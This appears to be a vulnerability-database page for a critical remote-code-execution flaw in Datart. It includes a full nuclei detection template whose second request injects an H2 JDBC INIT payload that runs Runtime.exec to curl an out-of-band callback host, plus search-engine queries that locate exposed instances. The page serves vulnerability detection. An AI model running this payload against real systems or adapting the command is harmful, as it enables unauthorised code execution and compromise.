HexBrain

Browse / CVEs / CVE-2025-56819

CVE-2025-56819· datart / datart· CWE-78

Datart v1.0.0-rc.3 - Remote Code Execution

criticalseverity
9.8CVSS score
3.2%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

Datart v1.0.0-rc.3 contains a vulnerability that allows remote attackers to execute arbitrary code via INIT connection parameters.

Impact

Remote attackers can execute arbitrary code, potentially leading to full system compromise.

Fix

Update to the latest version.

How to confirm it

Send: POST /api/v1/users/login
Positive when: contains_all(body, "email\":", "data\":{") or status_code == 200
Send: POST /api/v1/data-provider/test
Positive when: contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2025-56819 -u <target>

The full check
id: CVE-2025-56819

info:
  name: Datart v1.0.0-rc.3 - Remote Code Execution
  author: Redmomn
  severity: critical
  description: |
    Datart v1.0.0-rc.3 contains a vulnerability that allows remote attackers to execute arbitrary code via INIT connection parameters.
  impact: |
    Remote attackers can execute arbitrary code, potentially leading to full system compromise.
  remediation: |
    Update to the latest version.
  reference:
    - https://github.com/advisories/GHSA-623q-jr4p-f87c
    - https://github.com/xyyzxc/CVE-2025-56819
    - https://nvd.nist.gov/vuln/detail/CVE-2025-56819
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-56819
    epss-score: 0.03196
    epss-percentile: 0.88224
    cwe-id: CWE-78
    cpe: cpe:2.3:a:running-elephant:datart:1.0.0:rc3:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: datart
    product: datart
    fofa-query: 'title="Datart"'
    shodan-query: 'title:"Datart"'
    hunter-query: 'web.title="Datart"'
  tags: cve,cve2025,datart,rce,h2,jdbc,oast,authentication,vuln

variables:
  rand_alias: '{{rand_text_alpha(8)}}'

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/v1/users/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "email\":", "data\":{")'
          - 'status_code == 200'
        internal: true

    extractors:
      - type: kval
        name: token
        part: header
        kval:
          - authorization
        internal: true

  - raw:
      - |
        POST /api/v1/data-provider/test HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: {{token}}

        {
          "name": "jdbc-data-provider",
          "type": "JDBC",
          "properties": {
            "dbType": "H2",
            "url": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS {{rand_alias}} AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL {{rand_alias}} ('curl {{interactsh-url}}')\\;",
            "user": null,
            "password": "",
            "driverClass": "org.h2.Driver",
            "serverAggregate": false,
            "enableSpecialSQL": false,
            "enableSyncSchemas": true,
            "syncInterval": "60",
            "properties": {}
          }
        }

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - 'dns'

    extractors:
      - type: json
        part: body
        name: message
        json:
          - '.message'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from